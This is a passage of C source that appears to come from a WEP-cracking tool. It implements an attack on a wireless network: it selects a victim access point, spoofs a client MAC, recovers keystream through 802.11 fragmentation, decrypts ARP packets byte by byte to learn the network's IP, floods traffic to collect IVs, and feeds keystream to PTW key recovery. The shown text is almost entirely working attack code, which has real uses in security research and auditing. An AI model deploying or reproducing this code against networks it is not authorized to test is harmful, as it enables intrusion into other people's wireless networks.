1128 			if (ttl_val && new_ttl != ttl_val) {
1129 				time_print("oops. ttl changed from %d to %d\n",
1130 					   ttl_val, new_ttl);
1131 				exit(1);
1132 			}
1133 
1134 			if (!ttl_val) {
1135 				ttl_val = new_ttl;
1136 				printf("\n");
1137 				time_print("Got TTL of %d\n", ttl_val);
1138 				calculate_inet_clear();
1139 			}
1140 		}
1141 
1142 		// check if its dictionary data
1143 		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1144 			log_dictionary(body, len - sizeof(*wh));
1145 		}
1146 #endif
1147 	}
1148 
1149 #if 0
1150 	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1151 		type, stype, mac2str(wh->i_addr2), len);
1152 #endif
1153 }
1154 
1155 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1156 	unsigned char* body;
1157 	int bodylen;
1158 	unsigned char clear[36];
1159 	unsigned char* ptr;
1160 	struct arphdr* h;
1161 	int i;
1162 
1163 	body = (unsigned char*) wh+sizeof(*wh);
1164 	ptr = clear;
1165 
1166 	// calculate clear-text
1167 	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1168 	ptr += sizeof(arp_clear) -1;
1169 
1170 	h = (struct arphdr*)ptr;
1171 	h->ar_hrd = htons(ARPHRD_ETHER);
1172         h->ar_pro = htons(ETHERTYPE_IP);
1173         h->ar_hln = 6;
1174         h->ar_pln = 4;
1175         h->ar_op = htons(ARPOP_REQUEST);
1176 	ptr += sizeof(*h);
1177 
1178 	memcpy(ptr, wh->i_addr3, 6);
1179 
1180 	bodylen = rd - sizeof(*wh) - 4 - 4;
1181 	decryptstate.clen = bodylen;
1182 	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1183 	if (!decryptstate.cipher) {
1184 		perror("malloc()");
1185 		exit(1);
1186 	}
1187 	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1188 	if (!decryptstate.prgainfo.prga) {
1189 		perror("malloc()");
1190 		exit(1);
1191 	}
1192 
1193 
1194 	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1195 	memcpy(decryptstate.prgainfo.iv, body, 3);
1196 
1197 	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1198 	for(i = 0; i < (8+8+6); i++) {
1199 		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1200 						clear[i];
1201 	}
1202 
1203 	decryptstate.prgainfo.len = i;
1204 	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1205 }
1206 
1207 void log_wep(struct ieee80211_frame* wh, int len) {
1208 	int rd;
1209 	struct pcap_pkthdr pkh;
1210 	struct timeval tv;
1211 	unsigned char *body = (unsigned char*) (wh+1);
1212 
1213 	memset(&pkh, 0, sizeof(pkh));
1214 	pkh.caplen = pkh.len = len;
1215 	if (gettimeofday(&tv, NULL) == -1)
1216 		err(1, "gettimeofday()");
1217 	pkh.ts = tv;
1218 	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1219 		err(1, "write()");
1220 
1221 	rd = write(weplog.fd, wh, len);
1222 
1223 	if (rd == -1) {
1224 		perror("write()");
1225 		exit(1);
1226 	}
1227 	if (rd != len) {
1228 		time_print("short write %d out of %d\n", rd, len);
1229 		exit(1);
1230 	}
1231 
1232 #if 0
1233 	if (fsync(weplog.fd) == -1) {
1234 		perror("fsync()");
1235 		exit(1);
1236 	}
1237 #endif
1238 
1239 	memcpy(weplog.iv, body, 3);
1240 	weplog.packets++;
1241 }
1242 
1243 void try_dictionary(struct ieee80211_frame* wh, int len) {
1244 	unsigned char *body;
1245 	char path[52];
1246 	char paths[3][3];
1247 	int i;
1248 	int fd, rd;
1249 	unsigned char packet[4096];
1250 	int dlen;
1251 	struct ether_header* eh;
1252 	uLong crc;
1253 	unsigned long *pcrc;
1254 	unsigned char* dmac, *smac;
1255 
1256 	assert (len < sizeof(packet) + sizeof(*eh));
1257 
1258 	body = (unsigned char*) wh + sizeof(*wh);
1259 
1260 	for (i = 0; i < 3; i++)
1261 		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1262 
1263 	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1264 
1265 	fd = open(path, O_RDONLY);
1266 	if (fd == -1)
1267 		return;
1268 
1269 	rd = read(fd, &packet[6], sizeof(packet)-6);
1270 	if (rd == -1) {
1271 		perror("read()");
1272 		exit(1);
1273 	}
1274 	close(fd);
1275 
1276 
1277 	dlen = len - sizeof(*wh) - 4;
1278 	if (dlen > rd) {
1279 		printf("\n");
1280 		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1281 		dlen);
1282 		return;
1283 	}
1284 
1285 	body += 4;
1286 	for (i = 0; i < dlen; i++)
1287 		packet[6+i] ^= body[i];
1288 
1289 	dlen -= 4;
1290 	crc = crc32(0L, Z_NULL, 0);
1291 	crc = crc32(crc, &packet[6], dlen);
1292 	pcrc = (unsigned long*) (&packet[6+dlen]);
1293 
1294 	if (*pcrc != crc) {
1295 		printf("\n");
1296 		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1297 			   path, *pcrc, crc);
1298 		return;
1299 	}
1300 
1301 	// fill ethernet header
1302 	eh = (struct ether_header*) packet;
1303 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1304 		smac = wh->i_addr3;
1305 	else
1306 		smac = wh->i_addr2;
1307 
1308 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1309 		dmac = wh->i_addr3;
1310 	else
1311 		dmac = wh->i_addr1;
1312 
1313 	memcpy(eh->ether_dhost, dmac, 6);
1314 	memcpy(eh->ether_shost, smac, 6);
1315 	// ether type should be there from llc
1316 
1317 	dlen -= 8; // llc
1318 	dlen += sizeof(*eh);
1319 
1320 #if 0
1321 	printf("\n");
1322 	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1323 	hexdump(packet, dlen);
1324 #endif
1325 
1326 	rd = write(tapfd, packet, dlen);
1327 	if (rd == -1) {
1328 		perror("write()");
1329 		exit(1);
1330 	}
1331 	if (rd != dlen) {
1332 		printf("Wrote %d / %d\n", rd, dlen);
1333 		exit(1);
1334 	}
1335 }
1336 
1337 int is_arp(struct ieee80211_frame *wh, int len)
1338 {
1339         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1340 
1341         if (len == arpsize || len == 54)
1342                 return 1;
1343 
1344         return 0;
1345 }
1346 
1347 void *get_sa(struct ieee80211_frame *wh)
1348 {
1349         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1350                 return wh->i_addr3;
1351         else
1352                 return wh->i_addr2;
1353 }
1354 
1355 void *get_da(struct ieee80211_frame *wh)
1356 {
1357         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1358                 return wh->i_addr1;
1359         else
1360                 return wh->i_addr3;
1361 }
1362 
1363 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1364 {
1365         unsigned char *ptr = clear;
1366 
1367         /* IP */
1368         if (!is_arp(wh, len)) {
1369                 unsigned short iplen = htons(len - 8);
1370 
1371 //                printf("Assuming IP %d\n", len);
1372 
1373                 len = sizeof(S_LLC_SNAP_IP) - 1;
1374                 memcpy(ptr, S_LLC_SNAP_IP, len);
1375                 ptr += len;
1376 #if 1
1377                 len = 2;
1378                 memcpy(ptr, "\x45\x00", len);
1379                 ptr += len;
1380 
1381                 memcpy(ptr, &iplen, len);
1382                 ptr += len;
1383 #endif
1384                 len = ptr - ((unsigned char*)clear);
1385                 return len;
1386         }
1387 //        printf("Assuming ARP %d\n", len);
1388 
1389         /* arp */
1390         len = sizeof(S_LLC_SNAP_ARP) - 1;
1391         memcpy(ptr, S_LLC_SNAP_ARP, len);
1392         ptr += len;
1393 
1394         /* arp hdr */
1395         len = 6;
1396         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1397         ptr += len;
1398 
1399         /* type of arp */
1400         len = 2;
1401         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1402                 memcpy(ptr, "\x00\x01", len);
1403         else
1404                 memcpy(ptr, "\x00\x02", len);
1405         ptr += len;
1406 
1407         /* src mac */
1408         len = 6;
1409         memcpy(ptr, get_sa(wh), len);
1410         ptr += len;
1411 
1412         len = ptr - ((unsigned char*)clear);
1413         return len;
1414 }
1415 
1416 void add_keystream(struct ieee80211_frame* wh, int rd)
1417 {
1418 	unsigned char clear[1024];
1419 	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1420 	int clearsize;
1421 	unsigned char *body = (unsigned char*) (wh+1);
1422 	int i;
1423 
1424 	clearsize = known_clear(clear, wh, dlen);
1425 	if (clearsize < 16)
1426 		return;
1427 
1428 	for (i = 0; i < 16; i++)
1429 		clear[i] ^= body[4+i];
1430 
1431 	PTW_addsession(ptw, body, clear);
1432 }
1433 
1434 void got_wep(struct ieee80211_frame* wh, int rd) {
1435 	int bodylen;
1436 	int dlen;
1437 	unsigned char clear[1024];
1438 	int clearsize;
1439 	unsigned char *body;
1440 
1441 	bodylen = rd - sizeof(struct ieee80211_frame);
1442 
1443 	dlen = bodylen - 4 - 4;
1444 	body = (unsigned char*) wh + sizeof(*wh);
1445 
1446 
1447 	// log it if its stuff not from us...
1448 	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1449 	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1450 	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1451 
1452 		if (body[3] != 0) {
1453 			time_print("Key index=%x!!\n", body[3]);
1454 			exit(1);
1455 		}
1456 		log_wep(wh, rd);
1457 		add_keystream(wh, rd);
1458 
1459 		// try to decrypt too
1460 		try_dictionary(wh, rd);
1461 	}
1462 
1463 	// look for arp-request packets... so we can decrypt em
1464 	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1465 	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1466 	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1467 	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1468 	    !decryptstate.cipher &&
1469 	    !netip) {
1470 		decrypt_arpreq(wh, rd);
1471 	}
1472 
1473 	// we have prga... check if its our stuff being relayed...
1474 	if (prgainfo.len != 0) {
1475 		// looks like it...
1476 		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1477 		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1478 		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1479 		    dlen == fragstate.len) {
1480 
1481 //			printf("I fink AP relayed it...\n");
1482 			set_prga(body, &body[4], fragstate.data, dlen);
1483 			free(fragstate.data);
1484 			fragstate.data = 0;
1485 			fragstate.waiting_relay = 0;
1486 		}
1487 
1488 		// see if we get the multicast stuff of when decrypting
1489 		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1490 		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1491 		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1492 		    dlen == 36) {
1493 
1494 			unsigned char pr = wh->i_addr1[5];
1495 
1496 			printf("\n");
1497 			time_print("Got clear-text byte: %d\n",
1498 			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1499 
1500 			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1501 			decryptstate.prgainfo.len++;
1502 			decryptstate.fragstate.waiting_relay = 1;
1503 
1504 			// ok we got the ip...
1505 			if (decryptstate.prgainfo.len == 26+1) {
1506 				unsigned char ip[4];
1507 				int i;
1508 				struct in_addr *in = (struct in_addr*) ip;
1509 				unsigned char *ptr;
1510 
1511 				for (i = 0; i < 4; i++)
1512 					ip[i] = decryptstate.cipher[8+8+6+i] ^
1513 						decryptstate.prgainfo.prga[8+8+6+i];
1514 
1515 				assert(!netip);
1516 				netip = (unsigned char*) malloc(16);
1517 				if(!netip) {
1518 					perror("malloc()");
1519 					exit(1);
1520 				}
1521 
1522 				memset(netip, 0, 16);
1523 				strcpy(netip, inet_ntoa(*in));
1524 
1525 				time_print("Got IP=(%s)\n", netip);
1526 				strcpy(myip, netip);
1527 
1528 				ptr = strchr(myip, '.');
1529 				assert(ptr);
1530 				ptr = strchr(ptr+1, '.');
1531 				assert(ptr);
1532 				ptr = strchr(ptr+1, '.');
1533 				assert(ptr);
1534 				strcpy(ptr+1,"123");
1535 
1536 				time_print("My IP=(%s)\n", myip);
1537 
1538 
1539 				free(decryptstate.prgainfo.prga);
1540 				free(decryptstate.cipher);
1541 				memset(&decryptstate, 0, sizeof(decryptstate));
1542 			}
1543 		}
1544 		return;
1545 	}
1546 
1547 	clearsize = known_clear(clear, wh, dlen);
1548 	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1549 
1550 	set_prga(body, &body[4], clear, clearsize);
1551 }
1552 
1553 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1554 	int type,stype;
1555 
1556 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1557 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1558 
1559 	if (type == IEEE80211_FC0_TYPE_DATA &&
1560 	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1561 		int dlen = rd - sizeof(struct ieee80211_frame);
1562 
1563 		if (state == SPOOF_MAC) {
1564 			unsigned char mac[6];
1565 			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1566 				memcpy(mac, wh->i_addr3, 6);
1567 			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1568 				memcpy(mac, wh->i_addr1, 6);
1569 			} else assert(0);
1570 
1571 			if (mac[0] == 0xff || mac[0] == 0x1)
1572 				return;
1573 
1574 			memcpy(mymac, mac, 6);
1575 			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1576 			state = FOUND_VICTIM;
1577 			return;
1578 		}
1579 
1580 		// wep data!
1581 		if ( (wh->i_fc[1] & IEEE80211_FC1_PROTECTED) &&
1582 		    dlen > (4+8+4)) {
1583 			got_wep(wh, rd);
1584 		}
1585 	}
1586 }
1587 
1588 void anal(unsigned char* buf, int rd, int tx) { // yze
1589 	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1590 	int type,stype;
1591 	static int lastseq = -1;
1592 	int seq;
1593 	unsigned short *seqptr;
1594 	int for_us = 0;
1595 
1596 	if (rd < 1) {
1597 		time_print("rd=%d\n", rd);
1598 		exit(1);
1599 	}
1600 
1601 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1602 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1603 
1604 	// sort out acks
1605 	if (state >= FOUND_VICTIM) {
1606 		// stuff for us
1607 		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1608 			for_us = 1;
1609 			if (type != IEEE80211_FC0_TYPE_CTL)
1610 				send_ack(tx);
1611 		}
1612 	}
1613 
1614 	// XXX i know it aint great...
1615 	seqptr = (unsigned short*)  wh->i_seq;
1616 	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1617 	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1618 	    type != IEEE80211_FC0_TYPE_CTL) {
1619 //		printf("Ignoring dup packet... seq=%d\n", seq);
1620 		return;
1621 	}
1622 	lastseq = seq;
1623 
1624 	// management frame
1625 	if (type == IEEE80211_FC0_TYPE_MGT) {
1626 		if(state == FIND_VICTIM) {
1627 			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1628 			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1629 
1630 			    	if (get_victim_ssid(wh, rd)) {
1631 			    		return;
1632 				}
1633 			}
1634 
1635 		}
1636 	}
1637 
1638 	if (state >= FOUND_VICTIM) {
1639 		// stuff for us
1640 		if (for_us) {
1641 			stuff_for_us(wh, rd);
1642 		}
1643 
1644 		// stuff in network [even for us]
1645 		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1646 			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1647 
1648 			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1649 			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1650 			   ) {
1651 			stuff_for_net(wh, rd);
1652 		}
1653 	}
1654 }
1655 
1656 void do_arp(unsigned char* buf, unsigned short op,
1657 	    unsigned char* m1, unsigned char* i1,
1658 	    unsigned char* m2, unsigned char* i2) {
1659 
1660         struct in_addr sip;
1661         struct in_addr dip;
1662 	struct arphdr* h;
1663 	unsigned char* data;
1664 
1665         inet_aton(i1, &sip);
1666         inet_aton(i2, &dip);
1667 	h = (struct arphdr*) buf;
1668 
1669 	memset(h, 0, sizeof(*h));
1670 
1671 	h->ar_hrd = htons(ARPHRD_ETHER);
1672         h->ar_pro = htons(ETHERTYPE_IP);
1673         h->ar_hln = 6;
1674         h->ar_pln = 4;
1675         h->ar_op = htons(op);
1676 
1677 	data = (unsigned char*) h + sizeof(*h);
1678 
1679 	memcpy(data, m1, 6);
1680 	data += 6;
1681 	memcpy(data, &sip, 4);
1682 	data += 4;
1683 
1684 	memcpy(data, m2, 6);
1685 	data += 6;
1686 	memcpy(data, &dip, 4);
1687 	data += 4;
1688 }
1689 
1690 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1691 	unsigned char buf[4096];
1692 	struct ieee80211_frame* wh;
1693 	unsigned char* body;
1694 	int fragsize;
1695 	uLong crc;
1696 	unsigned long *pcrc;
1697 	int i;
1698 	unsigned short* seq;
1699 	unsigned short sn, fn;
1700 
1701 	wh = (struct ieee80211_frame*) buf;
1702 	memcpy(wh, &fs->wh, sizeof(*wh));
1703 
1704 	body = (unsigned char*) wh + sizeof(*wh);
1705 	memcpy(body, &pi->iv, 3);
1706 	body += 3;
1707 	*body++ = 0; // key index
1708 
1709 	fragsize = fs->data + fs->len - fs->ptr;
1710 
1711 	assert(fragsize > 0);
1712 
1713 	if ( (fragsize + 4) > pi->len) {
1714 		fragsize = pi->len  - 4;
1715 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1716 	}
1717 	// last fragment
1718 	else {
1719 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1720 	}
1721 
1722 	memcpy(body, fs->ptr, fragsize);
1723 
1724 	crc = crc32(0L, Z_NULL, 0);
1725 	crc = crc32(crc, body, fragsize);
1726 	pcrc = (unsigned long*) (body+fragsize);
1727 	*pcrc = crc;
1728 
1729 	for (i = 0; i < (fragsize + 4); i++)
1730 		body[i] ^= pi->prga[i];
1731 
1732 	seq = (unsigned short*) &wh->i_seq;
1733 	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1734 	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1735 //	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1736 
1737 	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1738 
1739 	seq = (unsigned short*) &fs->wh.i_seq;
1740 	*seq = fnseq(++fn, sn);
1741 	fs->ptr += fragsize;
1742 
1743 	if (fs->ptr - fs->data == fs->len) {
1744 //		printf("Finished sending frags...\n");
1745 		fs->waiting_relay = 1;
1746 	}
1747 }
1748 
1749 void prepare_fragstate(struct frag_state* fs, int pad) {
1750 	fs->waiting_relay = 0;
1751 	fs->len = 8 + 8 + 20 + pad;
1752 	fs->data = (unsigned char*) malloc(fs->len);
1753 
1754 	if(!fs->data) {
1755 		perror("malloc()");
1756 		exit(1);
1757 	}
1758 
1759 	fs->ptr = fs->data;
1760 
1761 	do_llc(fs->data, ETHERTYPE_ARP);
1762 	do_arp(&fs->data[8], ARPOP_REQUEST,
1763 	       mymac, myip,
1764 	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1765 
1766 	memset(&fs->wh, 0, sizeof(fs->wh));
1767 	fill_basic(&fs->wh);
1768 
1769 	memset(fs->wh.i_addr3, 0xff, 6);
1770 	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1771 	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1772 				IEEE80211_FC1_MORE_FRAG |
1773 				IEEE80211_FC1_PROTECTED;
1774 
1775 	memset(&fs->data[8+8+20], 0, pad);
1776 }
1777 
1778 void discover_prga(int tx) {
1779 
1780 	// create packet...
1781 	if (!fragstate.data) {
1782 		int pad = 0;
1783 
1784 		if (prgainfo.len >= 20)
1785 			pad = prgainfo.len*3;
1786 
1787 		prepare_fragstate(&fragstate, pad);
1788 	}
1789 
1790 	if (!fragstate.waiting_relay) {
1791 		send_fragment(tx, &fragstate, &prgainfo);
1792 		if (fragstate.waiting_relay) {
1793 			if (gettimeofday(&fragstate.last, NULL) == -1)
1794 				err(1, "gettimeofday()");
1795 		}
1796 	}
1797 }
1798 
1799 void decrypt(int tx) {
1800 
1801 	// gotta initiate
1802 	if (!decryptstate.fragstate.data) {
1803 		prepare_fragstate(&decryptstate.fragstate, 0);
1804 
1805 		memcpy(decryptstate.fragstate.wh.i_addr3,
1806 		       MCAST_PREF, 5);
1807 
1808 		decryptstate.fragstate.wh.i_addr3[5] =
1809 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1810 
1811 		decryptstate.prgainfo.len++;
1812 	}
1813 
1814 	// guess diff prga byte...
1815 	if (decryptstate.fragstate.waiting_relay) {
1816 		unsigned short* seq;
1817 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1818 
1819 #if 0
1820 		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1821 			printf("Can't decrpyt!\n");
1822 			exit(1);
1823 		}
1824 #endif
1825 		decryptstate.fragstate.wh.i_addr3[5] =
1826 		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1827 
1828 		decryptstate.fragstate.waiting_relay = 0;
1829 		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1830 
1831 		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1832 		*seq = fnseq(0, txstate.psent);
1833 	}
1834 
1835 	send_fragment(tx, &decryptstate.fragstate,
1836 		      &decryptstate.prgainfo);
1837 }
1838 
1839 void flood_inet(tx) {
1840 	static int send_arp = -1;
1841 	static unsigned char arp_pkt[128];
1842 	static int arp_len;
1843 	static unsigned char udp_pkt[128];
1844 	static int udp_len;
1845 	static struct timeval last_ip;
1846 
1847 	// need to init packets...
1848 	if (send_arp == -1) {
1849 		unsigned char* body;
1850 		unsigned char* ptr;
1851 		struct ieee80211_frame* wh;
1852 		struct ip* ih;
1853 		struct udphdr* uh;
1854 
1855 		memset(arp_pkt, 0, sizeof(arp_pkt));
1856 		memset(udp_pkt, 0, sizeof(udp_pkt));
1857 
1858 		// construct ARP
1859 		wh = (struct ieee80211_frame*) arp_pkt;
1860 		fill_basic(wh);
1861 
1862 		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1863 		wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1864 		memset(wh->i_addr3, 0xff, 6);
1865 
1866 		body = (unsigned char*) wh + sizeof(*wh);
1867 		ptr = body;
1868 		ptr += 4; // iv
1869 
1870 		do_llc(ptr, ETHERTYPE_ARP);
1871 		ptr += 8;
1872 		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1873 		       "\x00\x00\x00\x00\x00\x00", netip);
1874 
1875 		wepify(body, 8+8+20);
1876 		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1877 		assert(arp_len < sizeof(arp_pkt));
1878 
1879 
1880 		// construct UDP
1881 		wh = (struct ieee80211_frame*) udp_pkt;
1882 		fill_basic(wh);
1883 
1884 		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1885 		wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1886 		memcpy(wh->i_addr3, rtrmac, 6);
1887 
1888 		body = (unsigned char*) wh + sizeof(*wh);
1889 		ptr = body;
1890 		ptr += 4; // iv
1891 
1892 		do_llc(ptr, ETHERTYPE_IP);
1893 		ptr += 8;
1894 
1895 		ih = (struct ip*) ptr;
1896 		ih->ip_hl = 5;
1897 		ih->ip_v = 4;
1898 		ih->ip_tos = 0;
1899 		ih->ip_len = htons(20+8+5);
1900 		ih->ip_id = htons(666);
1901 		ih->ip_off = 0;
1902 		ih->ip_ttl = 128;
1903 		ih->ip_p = IPPROTO_UDP;
1904 		ih->ip_sum = 0;
1905 
1906 		inet_aton(myip, &ih->ip_src);
1907 		inet_aton(floodip, &ih->ip_dst);
1908 
1909 		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1910 
1911 		ptr += 20;
1912 		uh = (struct udphdr*) ptr;
1913 		uh->uh_sport = htons(floodsport);
1914 		uh->uh_dport = htons(floodport);
1915 		uh->uh_ulen = htons(8+5);
1916 		uh->uh_sum = 0;
1917 
1918 		ptr += 8;
1919 		strcpy(ptr, "sorbo");
1920 
1921 		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1922 					  &ih->ip_dst);
1923 
1924 		wepify(body, 8+20+8+5);
1925 		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1926 		assert(udp_len < sizeof(udp_pkt));
1927 
1928 		// bootstrap
1929 		send_arp = 1;
1930 
1931 		memset(&last_ip, 0, sizeof(last_ip));
1932 	}
1933 
1934 	if (send_arp == 1) {
1935 		struct timeval now;
1936 		unsigned long sec;
1937 
1938 		if (gettimeofday(&now, NULL) == -1) {
1939 			perror("gettimeofday()");
1940 			exit(1);
1941 		}
1942 
1943 		sec = now.tv_sec - last_ip.tv_sec;
1944 
1945 		if (sec < 5)
1946 			return;
1947 
1948 		send_frame(tx, arp_pkt, arp_len);
1949 		send_arp = 0;
1950 	}
1951 
1952 	else if (send_arp == 0) {
1953 		if (gettimeofday(&last_ip, NULL) == -1) {
1954 			perror("gettimeofday()");
1955 			exit(1);
1956 		}
1957 
1958 		send_frame(tx, udp_pkt, udp_len);
1959 		send_arp = 1;
1960 	} else assert(0);
1961 }
1962 
1963 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1964 	      unsigned char* srcmac, unsigned char* dstip,
1965 	      unsigned char* dstmac) {
1966 
1967 	static unsigned char arp_pkt[128];
1968 	unsigned char* body;
1969 	unsigned char* ptr;
1970 	struct ieee80211_frame* wh;
1971 	int arp_len;
1972 
1973 	memset(arp_pkt, 0, sizeof(arp_pkt));
1974 
1975 	// construct ARP
1976 	wh = (struct ieee80211_frame*) arp_pkt;
1977 	fill_basic(wh);
1978 
1979 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1980 	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
1981 	memset(wh->i_addr3, 0xff, 6);
1982 
1983 	body = (unsigned char*) wh + sizeof(*wh);
1984 	ptr = body;
1985 	ptr += 4; // iv
1986 
1987 	do_llc(ptr, ETHERTYPE_ARP);
1988 	ptr += 8;
1989 	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1990 
1991 	wepify(body, 8+8+20);
1992 	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1993 	assert(arp_len < sizeof(arp_pkt));
1994 
1995 	send_frame(tx, arp_pkt, arp_len);
1996 }
1997 
1998 void can_write(int tx) {
1999 	static char arp_ip[16];
2000 
2001 	switch (state) {
2002 		case FOUND_VICTIM:
2003 			send_auth(tx);
2004 			state = SENDING_AUTH;
2005 			break;
2006 
2007 		case GOT_AUTH:
2008 			send_assoc(tx);
2009 			state = SENDING_ASSOC;
2010 			break;
2011 
2012 		case GOT_ASSOC:
2013 			if (prgainfo.prga && prgainfo.len < min_prga) {
2014 				discover_prga(tx);
2015 				break;
2016 			}
2017 
2018 			if (decryptstate.cipher) {
2019 				decrypt(tx);
2020 				break;
2021 			}
2022 
2023 			if (!prgainfo.prga)
2024 				break;
2025 
2026 			if (taptx_len) {
2027 				send_frame(tx, taptx, taptx_len);
2028 				taptx_len = 0;
2029 				break;
2030 			}
2031 
2032 			// try to find rtr mac addr
2033 			if (netip && !rtrmac) {
2034 				char* ptr;
2035 
2036 				strcpy(arp_ip, netip);
2037 				if (!netip_arg) {
2038 					ptr = strchr(arp_ip, '.');
2039 					assert(ptr);
2040 					ptr = strchr(++ptr, '.');
2041 					assert(ptr);
2042 					ptr = strchr(++ptr, '.');
2043 					assert(ptr);
2044 					strcpy(++ptr, "1");
2045 				}
2046 
2047 				if (gettimeofday(&arpsend, NULL) == -1)
2048 					err(1, "gettimeofday()");
2049 
2050 				time_print("Sending arp request for: %s\n", arp_ip);
2051 				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2052 					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2053 
2054 				// XXX lame
2055 				rtrmac = (unsigned char*)1;
2056 				break;
2057 			}
2058 
2059 			// need to generate traffic...
2060 			if (rtrmac > (unsigned char*)1 && netip) {
2061 				if (floodip)
2062 					flood_inet(tx);
2063 				else {
2064 					// XXX lame technique... anyway... im
2065 					// only interested in flood_inet...
2066 
2067 					// could ping broadcast....
2068 					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2069 						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2070 				}
2071 
2072 				break;
2073 			}
2074 
2075 			break;
2076 	}
2077 }
